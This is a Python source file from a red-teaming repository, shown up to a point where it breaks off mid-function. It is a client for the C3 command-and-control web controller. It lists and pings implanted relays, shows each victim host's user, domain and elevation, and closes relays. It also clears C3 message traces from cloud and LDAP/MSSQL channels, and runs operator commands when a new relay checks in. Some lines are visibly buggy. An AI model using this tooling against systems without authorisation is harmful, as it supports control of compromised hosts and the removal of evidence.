mgeeky-Penetration-Testing-.../red-teaming/C3-Client/c3-client.py

2048 lines
82 KiB
Python

#!/usr/bin/python3
import os
import sys
import io
import re
import time
import json
import requests
import subprocess
import argparse
import random
import string
import zipfile
from datetime import datetime
config = {
'verbose' : False,
'debug' : False,
'host' : '',
'dry_run' : False,
'command' : '',
'format' : 'text',
'httpauth' : '',
}
commands = {
'list' : [
'gateways',
'relays'
],
'get' : [
'gateway',
'relay'
]
}
serverValidated = False
# BackendCommons.h: enum class Command : std::uint16_t
commandsMap = {
'AddDevice' : 0,
'Close' : 2**16 - 1,
'UpdateJitter' : 2**16 - 2,
'CreateRoute' : 2**16 - 3,
'RemoveRoute' : 2**16 - 4,
'SetGRC' : 2**16 - 5,
'Ping' : 2**16 - 6,
'ClearNetwork' : 2**16 - 7,
}
headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)',
}
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
sys.stdout.write('[!] ' + x + '\n')
@staticmethod
def fatal(x):
sys.stdout.write('[!] ' + x + '\n')
sys.exit(1)
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def printJson(data):
print(json.dumps(data, sort_keys=True, indent=4))
def getRequest(url, rawResp = False, stream = False):
global serverValidated
auth = None
if config['httpauth']:
user, _pass = config['httpauth'].split(':')
Logger.dbg(f'HTTP Basic Auth: {user}:{_pass}')
auth = requests.HTTPDigestAuth(user, _pass)
fullurl = config["host"] + url
Logger.info(f'GET Request: {fullurl}')
try:
resp = requests.get(fullurl, headers=headers, auth=auth, stream = stream, timeout = 5)
if not serverValidated:
try:
gateways = requests.get(config["host"] + '/api/gateway', headers=headers, auth=auth, stream = stream, timeout = 5)
if gateways.status_code < 200 or gateways.status_code > 300:
raise Exception()
serverValidated = True
except:
Logger.fatal('Server could not be validated. Are you sure your Host value points to a valid C3 webcontroller URL?')
except requests.exceptions.ConnectTimeout as e:
Logger.fatal(f'Connection with {config["host"]} timed-out.')
except Exception as e:
Logger.fatal(f'GET request failed ({url}): {e}')
Logger.dbg(f'First 512 bytes of response:\n{resp.text[:512]}')
if rawResp:
return resp
try:
ret = resp.json()
except:
ret = resp.text
return ret
def postRequest(url, data=None, contentType = 'application/json', rawResp = False):
auth = None
if config['httpauth']:
user, _pass = config['httpauth'].split(':')
Logger.dbg(f'HTTP Basic Auth: {user}:{_pass}')
auth = requests.HTTPDigestAuth(user, _pass)
fullurl = config["host"] + url
Logger.info(f'POST Request: {fullurl}')
resp = None
if config['dry_run']:
print(f'[?] Dry-run mode: Skipping post request ({url})')
if rawResp:
class MockResponse():
def __init__(self, status_code, text):
self.status_code = status_code
self.text = text
return MockResponse(201, '')
else:
return ''
if contentType.endswith('/json'):
resp = requests.post(fullurl, json=data, headers=headers, auth=auth)
else:
resp = requests.post(fullurl, data=data, headers=headers, auth=auth)
if rawResp:
return resp
try:
ret = resp.json()
except:
ret = resp.text
return ret
def printFullGateway(gatewayId):
gateway = getRequest(f'/api/gateway/{gatewayId}')
if type(gateway) == str and re.match(r'Gateway with id = \w+ not found', gateway, re.I):
Logger.err(f'Gateway with ID {gatewayId} was not found.')
if config['format'] == 'json': print('{}')
sys.exit(1)
if config['format'] == 'json':
printJson(gateway)
else:
printGatewayText(gateway)
indent = ' '
print()
print(f'{indent}Connectors:')
num = 0
cnum = 0
for c in gateway['connectors']:
cnum += 1
addr = ''
port = ''
for d in c['propertiesText']['arguments']:
if d['type'] == 'ip':
addr = d['value']
elif d['type'] == 'uint16':
port = d['value']
print(f'{indent} Connector ID: {c["iid"]}')
print(f'{indent} Host: {addr}:{port}\n')
num = 0
print(f'{indent}Channels:')
for c in gateway['channels']:
num += 1
kind = 'Channel'
name = '' # todo
if 'isNegotiationChannel' in c.keys() and c['isNegotiationChannel']:
kind = 'Negotiation Channel'
if 'isReturnChannel' in c.keys() and c['isReturnChannel']:
kind = 'Gateway Return Channel (GRC)'
print(f'''{indent}{indent}{kind} {num}:\t{name}
{indent}{indent} Jitter: {' ... '.join([str(x) for x in c['jitter']])}
{indent}{indent} Properties:''')
for arg in c['propertiesText']['arguments']:
if type(arg) == list or type(arg) == tuple:
for arg1 in arg:
print(f'''{indent}{indent} Name: {arg1['name']}
{indent}{indent} Value: {arg1['value']}
''')
else:
print(f'''{indent}{indent} Name: {arg['name']}
{indent}{indent} Value: {arg['value']}
''')
num = 0
for g in gateway['relays']:
num += 1
alive = ''
elevated = ''
if g['isActive']:
alive = '\t\t\t(+)'
if g['hostInfo']['isElevated']:
elevated = '\t\t\t(###)'
print(f'''
{indent}Relay {num}: {g['name']}
{indent} Relay ID: {g['agentId']}
{indent} Build ID: {g['buildId']}
{indent} Is active: {g['isActive']}{alive}
{indent} Timestamp: {datetime.fromtimestamp(g['timestamp'])}
{indent} Host Info:
{indent} Computer: {g['hostInfo']['computerName']}
{indent} Domain: {g['hostInfo']['domain']}
{indent} User Name: {g['hostInfo']['userName']}
{indent} Is elevated: {g['hostInfo']['isElevated']}{elevated}
{indent} OS Version: {g['hostInfo']['osVersion']}
{indent} Process ID: {g['hostInfo']['processId']}''')
def onGetGateway(args):
gateways = getRequest('/api/gateway')
for g in gateways:
if args.name.lower() == g['name'].lower():
print('\n== Relays connected to Gateway ' + g['name'] + ': ')
printFullGateway(g['agentId'])
return
printFullGateway(args.name)
def printFullRelay(r, num = 0, indent=' '):
alive = ''
elevated = ''
if r['isActive']:
alive = '\t\t\t(+)'
if r['hostInfo']['isElevated']:
elevated = '\t\t\t(###)'
print(f'''{indent}Relay {num}: {r['name']}
{indent} Relay ID: {r['agentId']}
{indent} Build ID: {r['buildId']}
{indent} Is active: {r['isActive']}{alive}
{indent} Timestamp: {datetime.fromtimestamp(r['timestamp'])}
{indent} Host Info:
{indent} Computer: {r['hostInfo']['computerName']}
{indent} Domain: {r['hostInfo']['domain']}
{indent} User Name: {r['hostInfo']['userName']}
{indent} Is elevated: {r['hostInfo']['isElevated']}{elevated}
{indent} OS Version: {r['hostInfo']['osVersion']}
{indent} Process ID: {r['hostInfo']['processId']}
''')
cnum = 0
print(f'{indent}Channels:')
for c in r['channels']:
cnum += 1
kind = 'Channel'
name = '' # todo
if 'isNegotiationChannel' in c.keys() and c['isNegotiationChannel']:
kind = 'Negotiation Channel'
if 'isReturnChannel' in c.keys() and c['isReturnChannel']:
kind = 'Gateway Return Channel (GRC)'
print(f'''{indent}{indent}{kind} {cnum}:\t{name}
{indent}{indent} Jitter: {' ... '.join([str(x) for x in c['jitter']])}
{indent}{indent} Properties:''')
for arg in c['propertiesText']['arguments']:
if type(arg) == list or type(arg) == tuple:
for arg1 in arg:
print(f'''{indent}{indent} Name: {arg1['name']}
{indent}{indent} Value: {arg1['value']}
''')
else:
print(f'''{indent}{indent} Name: {arg['name']}
{indent}{indent} Value: {arg['value']}
''')
def onGetRelay(args):
Logger.dbg('in onListRelays(): ' + str(args))
relays = collectRelays(args)
if len(relays) == 0:
Logger.err('Could not find specified Relay given neither its name nor agentId.')
if config['format'] == 'json': print('{}')
sys.exit(1)
num = 0
if config['format'] == 'text':
for gateway, relay in relays:
num += 1
printFullRelay(relay, num)
elif config['format'] == 'json':
printJson(relays)
def printGatewayText(g, num = 0):
alive = ''
if g['isActive']:
alive = '\t\t\t(+)'
print(f'''
Gateway {num}:\t{g['name']}
Gateway ID: {g['agentId']}
Build ID: {g['buildId']}
Is active: {g['isActive']}{alive}
Timestamp: {datetime.fromtimestamp(g['timestamp'])}''')
def onListGateways(args):
Logger.dbg('in onListGateways(): ' + str(args))
gateways = getRequest('/api/gateway')
if config['format'] == 'json':
printJson(gateways)
elif config['format'] == 'text':
num = 0
for g in gateways:
num += 1
if args.active:
if not g['isActive']: continue
printGatewayText(g, num)
def listGatewayRelays(gatewayId, indent = '', onlyActive = False):
relays = getRequest(f'/api/gateway/{gatewayId}')
if type(relays) == str and re.match(r'Gateway with id = \w+ not found', relays, re.I):
Logger.err(f'Gateway with ID {gatewayId} was not found.')
if config['format'] == 'json': print('{}')
sys.exit(1)
if config['format'] == 'json':
printJson(relays['relays'])
elif config['format'] == 'text':
num = 0
for g in relays['relays']:
num += 1
alive = ''
elevated = ''
if onlyActive:
if not g['isActive']: continue
if g['isActive']:
alive = '\t\t\t(+)'
if g['hostInfo']['isElevated']:
elevated = '\t\t\t(###)'
print(f'''
{indent}Relay {num}:\t{g['name']}
{indent} Relay ID: {g['agentId']}
{indent} Build ID: {g['buildId']}
{indent} Is active: {g['isActive']}{alive}
{indent} Timestamp: {datetime.fromtimestamp(g['timestamp'])}
{indent} Host Info:
{indent} Computer: {g['hostInfo']['computerName']}
{indent} Domain: {g['hostInfo']['domain']}
{indent} User Name: {g['hostInfo']['userName']}
{indent} Is elevated: {g['hostInfo']['isElevated']}
{indent} OS Version: {g['hostInfo']['osVersion']}
{indent} Process ID: {g['hostInfo']['processId']}''')
def onListRelays(args):
Logger.dbg('in onListRelays(): ')
if args.gateway_id != None:
gateways = getRequest('/api/gateway')
for g in gateways:
if args.gateway_id == g['name'].lower():
print('\n== Relays connected to Gateway ' + g['name'] + ': ')
listGatewayRelays(g['agentId'], onlyActive = args.active)
return
listGatewayRelays(args.gateway_id, onlyActive = args.active)
else:
gateways = getRequest('/api/gateway')
num = 0
relays = {}
relays['gateways'] = []
for g in gateways:
num += 1
if config['format'] == 'text':
print(f'''
Gateway {num}:\t{g['name']}''')
listGatewayRelays(g['agentId'], indent = ' ', onlyActive = args.active)
else:
relaysData = getRequest(f'/api/gateway/{g["agentId"]}')
g['relays'] = relaysData['relays']
relays['gateways'].append(g)
if config['format'] == 'json':
printJson(relays)
def collectRelays(args, nonFatal = False):
relays = []
gateways = getRequest('/api/gateway')
gateway_id = ''
relay_id = ''
if hasattr(args, 'gateway_id'):
gateway_id = args.gateway_id
Logger.info(f'Collecting relays from gateway {gateway_id}')
if hasattr(args, 'relay_id'):
relay_id = args.relay_id
Logger.info(f'Collecting relays matching name/ID: {relay_id}')
for _gateway in gateways:
if len(gateway_id) > 0:
if _gateway["agentId"].lower() != gateway_id.lower() and _gateway["name"].lower() != gateway_id.lower():
continue
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
for relay in gateway['relays']:
if len(relay_id) > 0:
if relay["agentId"].lower() != relay_id.lower() and relay["name"].lower() != relay_id.lower():
continue
relays.append((gateway, relay))
if len(relays) == 0 and not nonFatal:
Logger.fatal('Could not find Relays matching filter criteria. Try changing gateway, relay criteria.')
return relays
def processCapability(gateway):
caps = getRequest(f'/api/gateway/{gateway["agentId"]}/capability')
commandIds = {}
channels = {}
peripherals = {}
for gatewayVal in caps['gateway']:
for commandVal in gatewayVal['commands']:
commandIds[commandVal['name'].lower()] = commandVal['id']
Logger.dbg(f'Gateway capability: commands: {commandVal["name"]} = {commandVal["id"]}')
for channel in caps['channels']:
channels[channel['name']] = channel['type']
for peri in caps['peripherals']:
peripherals[peri['name']] = peri['type']
Logger.dbg('Gateway supports following channels: ' + str(', '.join(channels.keys())))
Logger.dbg('Gateway supports following peripherals: ' + str(', '.join(peripherals.keys())))
capability = {
'raw' : caps,
'commandIds' : commandIds,
'channels' : channels,
'peripherals' : peripherals,
}
return capability
def getCommandIdMapping(gateway, command):
capability = processCapability(gateway)
return capability['commandIds'][command.lower()]
def onPing(args):
try:
if args.keep_pinging > 0:
while True:
print(f'[.] Sending a ping every {args.keep_pinging} seconds.')
_onPing(args)
time.sleep(args.keep_pinging)
else:
print('[.] Pinging only once...')
_onPing(args)
except KeyboardInterrupt as e:
print('[.] User stopped Pinging process.')
def _onPing(args):
relays = collectRelays(args)
if len(relays) == 0:
print('[-] No relays found that could be pinged.')
return
pinged = 0
for gateway, relay in relays:
Logger.info(f'Pinging relay {relay["name"]}...')
data = {
'name' : 'RelayCommandGroup',
'data' : {
'id' : commandsMap['Ping'],
'name' : 'Command',
'command' : 'Ping',
'arguments' : []
}
}
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data)
if type(ret) == dict and 'relayAgentId' in ret.keys() and ret['relayAgentId'] == relay['agentId']:
print(f'[.] Pinged relay: {relay["name"]} (id: {relay["agentId"]}) from gateway {gateway["name"]}')
pinged += 1
if pinged == 0:
print('[-] There were no active relays that could be pinged.\n')
else:
print(f'[+] Pinged {pinged} active relays.\n')
def getLastGatewayCommandID():
lastId = 0
gateways = getRequest(f'/api/gateway')
for gateway in gateways:
commands = getRequest(f'/api/gateway/{gateway["agentId"]}/command')
for comm in commands:
if comm['id'] > lastId:
lastId = comm['id']
return lastId + 1
def onAllChannelsClear(args):
channels = {
'LDAP' : onLDAPClear,
'MSSQL' : onMSSQLClearTable,
'Mattermost' : onMattermostPurge,
'GoogleDrive' : onGoogleDriveClear,
'Github' : onGithubClear,
'Dropbox' : onDropboxClear,
'UncShareFile' : onUncShareFileClear,
}
for k, v in channels.items():
print(f'\n[.] {k}: Clearing messages queue...')
v(args)
def onMattermostPurge(args):
data = {
'data' : {
'arguments' : [],
'command' : 'Clear all channel messages',
'id' : 0,
'name' : 'Mattermost'
},
'name' : 'ChannelCommandGroup'
}
channels = collectChannels(args, 'mattermost')
if len(channels) == 0:
print('[-] No channels could be found to receive Mattermost purge command.')
return
for channel in channels:
ret = postRequest(channel['url'], data)
if type(ret) == dict and 'Clear all' in str(ret):
if 'relay' in channel.keys():
print(f'[+] Purged all messages from Mattermost C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
else:
print(f'[+] Purged all messages from Mattermost C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
def onJitter(args):
gateways = getRequest('/api/gateway')
channelsToUpdate = []
for _gateway in gateways:
if len(args.gateway_id) > 0:
if _gateway["agentId"].lower() != args.gateway_id.lower() and _gateway["name"].lower() != args.gateway_id.lower():
continue
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
capability = processCapability(gateway)
if len(args.relay_id) == 0:
for channel in gateway['channels']:
name = list(capability['channels'].keys())[list(capability['channels'].values()).index(channel['type'])]
if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id):
channelsToUpdate.append({
'url' : f'/api/gateway/{_gateway["agentId"]}/channel/{channel["iid"]}/command',
'name' : name,
'iid' : channel['iid'],
'agent' : gateway,
'kind' : 'Gateway',
})
for relay in gateway['relays']:
if len(args.relay_id) > 0:
if relay["agentId"].lower() != args.relay_id.lower() and relay["name"].lower() != args.relay_id.lower():
continue
for channel in relay['channels']:
name = list(capability['channels'].keys())[list(capability['channels'].values()).index(channel['type'])]
if len(args.channel_id) == 0 or (name.lower() == args.channel_id.lower() or channel['iid'] == args.channel_id):
channelsToUpdate.append({
'url' : f'/api/gateway/{_gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command',
'name' : name,
'iid' : channel['iid'],
'agent' : relay,
'kind' : 'Relay',
})
if len(channelsToUpdate) == 0:
Logger.fatal('Could not find channels that should have their Jitter updated. Try changing search criteria.')
for channel in channelsToUpdate:
data = {
"name" : "ChannelCommandGroup",
"data" : {
"id" : commandsMap['UpdateJitter'],
"name" : channel['name'],
"command" : "Set UpdateDelayJitter",
"arguments" : [
{
"type" : "float",
"name" : "Min",
"value" : str(args.min_jitter)
},
{
"type" : "float",
"name" : "Max",
"value" : str(args.max_jitter)
}
]
}
}
Logger.info(f'Updating Jitter on channel {channel["name"]} (id: {channel["iid"]}) running on {channel["kind"]} {channel["agent"]["name"]} (id: {channel["agent"]["agentId"]}) to {args.min_jitter}...{args.max_jitter}')
ret = postRequest(channel['url'], data = data, rawResp = True)
if ret.status_code == 201:
print(f'[+] Channel {channel["name"]} (id: {channel["iid"]}) running on {channel["kind"]} {channel["agent"]["name"]} (id: {channel["agent"]["agentId"]}) got its Jitter updated to {args.min_jitter}...{args.max_jitter}\n')
def onLDAPClear(args):
data = {
'data' : {
'arguments' : [],
'command' : 'Clear attribute values',
'id' : 0,
'name' : 'LDAP'
},
'name' : 'ChannelCommandGroup'
}
channels = collectChannels(args, 'ldap')
if len(channels) == 0:
print('[-] No channels could be found to receive LDAP clear attribute command.')
return
for channel in channels:
ret = postRequest(channel['url'], data)
if type(ret) == dict and 'LDAP' in str(ret):
if 'relay' in channel.keys():
print(f'[+] Cleared LDAP attribute value on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
else:
print(f'[+] Cleared LDAP attribute value on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
def onMSSQLClearTable(args):
data = {
'data' : {
'arguments' : [],
'command' : 'Clear DB Table',
'id' : 0,
'name' : 'MSSQL'
},
'name' : 'ChannelCommandGroup'
}
channels = collectChannels(args, 'mssql')
if len(channels) == 0:
print('[-] No channels could be found to receive MSSQL clear DB table command.')
return
for channel in channels:
ret = postRequest(channel['url'], data)
if type(ret) == dict and 'MSSQL' in str(ret):
if 'relay' in channel.keys():
print(f'[+] Cleared MSSQL Table on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
else:
print(f'[+] Cleared MSSQL Table value on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
def onUncShareFileClear(args):
data = {
'data' : {
'arguments' : [],
'command' : 'Remove all message files',
'id' : 0,
'name' : 'UncShareFile'
},
'name' : 'ChannelCommandGroup'
}
channels = collectChannels(args, 'uncsharefile')
if len(channels) == 0:
print('[-] No channels could be found to receive UncShareFile remove all message files command.')
return
for channel in channels:
ret = postRequest(channel['url'], data)
if type(ret) == dict and 'UncShareFile' in str(ret):
if 'relay' in channel.keys():
print(f'[+] Cleared UncShareFile message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
else:
print(f'[+] Cleared UncShareFile message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
def onDropboxClear(args):
data = {
'data' : {
'arguments' : [],
'command' : 'Remove All Files',
'id' : 1,
'name' : 'Dropbox'
},
'name' : 'ChannelCommandGroup'
}
channels = collectChannels(args, 'dropbox')
if len(channels) == 0:
print('[-] No channels could be found to receive Dropbox remove all message files command.')
return
for channel in channels:
ret = postRequest(channel['url'], data)
if type(ret) == dict and 'Dropbox' in str(ret):
if 'relay' in channel.keys():
print(f'[+] Cleared Dropbox message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
else:
print(f'[+] Cleared Dropbox message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
def onGithubClear(args):
data = {
'data' : {
'arguments' : [],
'command' : 'Remove All Files',
'id' : 1,
'name' : 'Github'
},
'name' : 'ChannelCommandGroup'
}
channels = collectChannels(args, 'github')
if len(channels) == 0:
print('[-] No channels could be found to receive Github remove all message files command.')
return
for channel in channels:
ret = postRequest(channel['url'], data)
if type(ret) == dict and 'Github' in str(ret):
if 'relay' in channel.keys():
print(f'[+] Cleared Github message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
else:
print(f'[+] Cleared Github message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
def onGoogleDriveClear(args):
data = {
'data' : {
'arguments' : [],
'command' : 'Remove All Files',
'id' : 1,
'name' : 'GoogleDrive'
},
'name' : 'ChannelCommandGroup'
}
channels = collectChannels(args, 'googledrive')
if len(channels) == 0:
print('[-] No channels could be found to receive GoogleDrive remove all message files command.')
return
for channel in channels:
ret = postRequest(channel['url'], data)
if type(ret) == dict and 'GoogleDrive' in str(ret):
if 'relay' in channel.keys():
print(f'[+] Cleared GoogleDrive message files on C3 channel {channel["channelId"]} on Relay {channel["relay"]["name"]} on gateway {channel["gateway"]["name"]}')
else:
print(f'[+] Cleared GoogleDrive message files on C3 channel {channel["channelId"]} on gateway {channel["gateway"]["name"]}')
def getDeviceName(gateway, devicesType, deviceType):
capability = processCapability(gateway)
name = list(capability[devicesType].keys())[list(capability[devicesType].values()).index(deviceType)]
return name
def collectChannels(args, channelName):
channels = []
gateways = getRequest('/api/gateway')
gateway_id = ''
relay_id = ''
channel_id = ''
if hasattr(args, 'gateway_id'):
gateway_id = args.gateway_id
Logger.info(f'Collecting relays from gateway {gateway_id}')
if hasattr(args, 'relay_id'):
relay_id = args.relay_id
Logger.info(f'Collecting relays matching name/ID: {relay_id}')
if hasattr(args, 'channel_id'):
channel_id = args.channel_id
Logger.info(f'Collecting channels matching name/ID: {channel_id}')
for _gateway in gateways:
if len(gateway_id) > 0:
if _gateway["agentId"].lower() != gateway_id.lower() and _gateway["name"].lower() != gateway_id.lower():
continue
gateway = getRequest(f'/api/gateway/{_gateway["agentId"]}')
for channel in gateway['channels']:
if len(channel_id) > 0:
if channel["iid"].lower() != channel_id.lower():
continue
name = getDeviceName(gateway, 'channels', channel['type'])
if name.lower() != channelName.lower():
continue
Logger.dbg(f'Adding channel {channel["iid"]} in Gateway {gateway["name"]}.')
channels.append({
'url' : f'/api/gateway/{gateway["agentId"]}/channel/{channel["iid"]}/command',
'gateway' : gateway,
'channelId' : channel['iid'],
})
for relay in gateway['relays']:
if len(relay_id) > 0:
if relay["agentId"].lower() != relay_id.lower() and relay["name"].lower() != relay_id.lower():
continue
if 'channels' in relay.keys():
for channel in relay['channels']:
if len(channel_id) > 0:
if channel["iid"].lower() != channel_id.lower():
continue
name = getDeviceName(gateway, 'channels', channel['type'])
if name.lower() != channelName.lower():
continue
Logger.dbg(f'Adding channel {channel["iid"]} in Relay {relay["name"]}.')
channels.append({
'url' : f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{channel["iid"]}/command',
'gateway' : gateway,
'relay' : relay,
'channelId' : channel['iid'],
})
return channels
def shell(cmd, alternative = False, stdErrToStdout = False, surpressStderr = False):
CREATE_NO_WINDOW = 0x08000000
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
si.wShowWindow = subprocess.SW_HIDE
outs = ''
errs = ''
if not alternative:
out = subprocess.run(
cmd,
cwd = os.getcwd(),
shell=True,
capture_output=True,
startupinfo=si,
creationflags=CREATE_NO_WINDOW,
timeout=60
)
outs = out.stdout
errs = out.stderr
else:
proc = subprocess.Popen(
cmd,
cwd = cwd,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
startupinfo=si,
creationflags=CREATE_NO_WINDOW
)
try:
outs, errs = proc.communicate(timeout=60)
proc.wait()
except TimeoutExpired:
proc.kill()
logger.err('WARNING! The command timed-out! Results may be incomplete')
outs, errs = proc.communicate()
status = outs.decode(errors='ignore').strip()
return status
def onAlarmRelay(args):
origRelays = collectRelays(args, nonFatal = True)
lastTimestamp = 0
origRelayIds = set()
for gateway, relay in origRelays:
origRelayIds.add(relay['agentId'])
if relay['timestamp'] > lastTimestamp:
lastTimestamp = relay['timestamp']
print('[.] Entering infinite-loop awaiting for new Relays...')
try:
while True:
time.sleep(args.delay)
currRelays = collectRelays(args, nonFatal = True)
currRelayIds = set()
currLastTimestamp = 0
for gateway, relay in currRelays:
currRelayIds.add(relay['agentId'])
if relay['timestamp'] > currLastTimestamp:
currLastTimestamp = relay['timestamp']
relaysDiff = currRelayIds.difference(origRelayIds)
Logger.dbg(f'''Alarm loop.
origRelayIds: {origRelayIds}
currRelayIds: {currRelayIds}
lengths: {len(origRelayIds)} vs {len(currRelayIds)}
relaysDiff: {relaysDiff}
lastTimestamp: {lastTimestamp}
currLastTimestamp: {currLastTimestamp}
New Relay? {currLastTimestamp > lastTimestamp and len(relaysDiff) > 0}
''')
if currLastTimestamp > lastTimestamp and len(relaysDiff) > 0:
lastTimestamp = currLastTimestamp
origRelayIds = currRelayIds
newestRelay = None
newestRelayGateway = None
newestRelayId = relaysDiff.pop()
for gateway, relay in currRelays:
if relay['agentId'] == newestRelayId:
newestRelay = relay
newestRelayGateway = gateway
break
if newestRelay == None:
continue
print('[+] New Relay checked-in!')
printFullRelay(newestRelay, len(currRelays))
try:
if args.execute != None and len(args.execute) > 0:
for command in args.execute:
cmd = command
cmd = cmd.replace("<computerName>", newestRelay['hostInfo']['computerName'])
cmd = cmd.replace("<isElevated>", str(newestRelay['hostInfo']['isElevated']))
cmd = cmd.replace("<osVersion>", newestRelay['hostInfo']['osVersion'])
cmd = cmd.replace("<domain>", newestRelay['hostInfo']['domain'])
cmd = cmd.replace("<userName>", newestRelay['hostInfo']['userName'])
cmd = cmd.replace("<processId>", str(newestRelay['hostInfo']['processId']))
cmd = cmd.replace("<relayName>", newestRelay['name'])
cmd = cmd.replace("<relayId>", newestRelay['agentId'])
cmd = cmd.replace("<buildId>", newestRelay['buildId'])
cmd = cmd.replace("<timestamp>", str(datetime.fromtimestamp(newestRelay['timestamp'])))
cmd = cmd.replace("<gatewayId>", newestRelayGateway['agentId'])
cmd = cmd.replace("<gatewayName>", newestRelayGateway['name'])
print(f'[.] Executing command: {cmd}')
time.sleep(args.command_delay)
print(shell(cmd))
print('[.] Commands executed.')
if args.webhook != None and len(args.webhook) > 0:
for webhook in args.webhook:
data = {
"<computerName>", newestRelay['hostInfo']['computerName'],
"<isElevated>", newestRelay['hostInfo']['isElevated'],
"<osVersion>", newestRelay['hostInfo']['osVersion'],
"<domain>", newestRelay['hostInfo']['domain'],
"<userName>", newestRelay['hostInfo']['userName'],
"<processId>", newestRelay['hostInfo']['processId'],
"<relayName>", newestRelay['name'],
"<relayId>", newestRelay['agentId'],
"<buildId>", newestRelay['buildId'],
"<timestamp>", datetime.fromtimestamp(newestRelay['timestamp']),
"<gatewayId>", newestRelayGateway['agentId'],
"<gatewayName>", newestRelayGateway['name'],
}
print(f'[.] Triggering a webhook: {webhook}')
try:
time.sleep(args.command_delay)
requests.post(webhook, data = data, headers = headears)
except Exception as e:
print(f'[-] Webhook failed: {e}')
print('[.] Webhooks triggered.')
except Exception as e:
print(f'[-] Exception occured during New-Relay alarm trigger: {e}')
except KeyboardInterrupt:
print('[.] New Relay alarm loop was finished.')
def findAgent(agentId):
gateways = getRequest('/api/gateway')
for g in gateways:
if g["agentId"].lower() == agentId.lower() or g["name"].lower() == agentId.lower():
return g, None
gateway = getRequest(f'/api/gateway/{g["agentId"]}')
if 'relays' in gateway.keys():
for r in gateway['relays']:
if r["agentId"].lower() == agentId.lower() or r["name"].lower() == agentId.lower():
return g, r
Logger.fatal('Could not find specified agent.')
return None
def getValueOrRandom(val, N = 6):
if val == 'random':
return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(N))
return val
def closeRelay(gateway, relay):
gateway = getRequest(f'/api/gateway/{gateway["agentId"]}')
relayMeta = getRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}')
print('\n[.] step 1: Closing bound Peripherals')
for peri in relayMeta['peripherals']:
name = getDeviceName(gateway, 'peripherals', peri['type'])
Logger.info(f'Closing relay\'s peripheral {name} id:{peri["iid"]}')
closePeripheral(gateway, relay, name, peri['iid'])
print('\n[.] step 2: Closing attached channels')
grcChannel = None
for chan in relayMeta['channels']:
if 'isReturnChannel' in chan.keys():
chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{chan["iid"]}/command'
grcChannel = chan
continue
chanName = getDeviceName(gateway, 'channels', chan['type'])
Logger.info(f'Closing relay\'s channel {chanName} id:{chan["iid"]}')
chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/channel/{chan["iid"]}/command'
closeChannel(chan, chanName)
if not grcChannel:
Logger.fatal(f'Could not determine Gateway-Return Channel of the specified Relay {relay["name"]} / {relay["agentId"]}. \n Probably its unreachable or already closed.')
closeChannel(grcChannel, getDeviceName(gateway, 'channels', grcChannel['type']))
print('\n[.] step 3: closing Relay itself')
data = {
"name" : "RelayCommandGroup",
"data" : {
"id" : commandsMap['Close'],
"name" : "Command",
"command" : "Close",
"arguments" : []
}
}
Logger.dbg(f'Closing Relay {relay["agentId"]} (id: {relay["agentId"]}). with following parameters:\n\n' + json.dumps(data, indent = 4))
ret = postRequest(f'/api/gateway/{gateway["agentId"]}/relay/{relay["agentId"]}/command', data, rawResp = True)
if ret.status_code == 201:
print(f'[+] Peripheral {relay["name"]} id:{relay["agentId"]} was closed.')
else:
print(f'[-] Peripheral {relay["name"]} id:{relay["agentId"]} was not closed: ({ret.status_code}) {ret.text}')
print('\n[.] step 4: closing a channel being a neighbour for Relay\'s GRC')
closed = False
for relayNode in gateway['relays'] + [gateway,]:
for route in relayNode['routes']:
if route['receivingInterface'] == grcChannel['iid']:
for chan in relayNode['channels']:
if chan['iid'] == route['outgoingInterface']:
if relayNode["agentId"] == gateway['agentId']:
chan['url'] = f'/api/gateway/{gateway["agentId"]}/channel/{chan["iid"]}/command'
else:
chan['url'] = f'/api/gateway/{gateway["agentId"]}/relay/{relayNode["agentId"]}/channel/{chan["iid"]}/command'
closeChannel(chan, getDeviceName(gateway, 'channels', chan['type']))
closed = True
break
if closed: break
if closed: break
if closed: break
if closed:
print('[+] Non-Negotiation channel linked to Relay\'s Gateway-Return Channel was closed.')
def onCloseRelay(args):
relays = collectRelays(args)
if len(relays) == 0:
Logger.fatal('Could not find agent (Gateway or Relay) which should be used to setup a channel.')
for gateway, relay in relays:
